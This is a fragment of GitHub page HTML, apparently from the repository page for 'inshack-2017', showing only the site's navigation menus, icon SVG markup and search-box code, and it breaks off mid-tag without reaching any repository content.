.5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="83088123" data-scoped-search-url="/HugoDelval/inshack-2017/search" data-owner-scoped-search-url="/users/HugoDelval/search" data-unscoped-search-url="/search" data-turbo="false" action="/HugoDelval/inshack-2017/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="51KfhvwWVpMTdcv4BaoVKcuhaBU9Z5NCUhEw6OS4L8IvAUOcRaLtOjWo9XkxU+V+PZ7Vtzs6zRSlckIs+ZpJuw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto 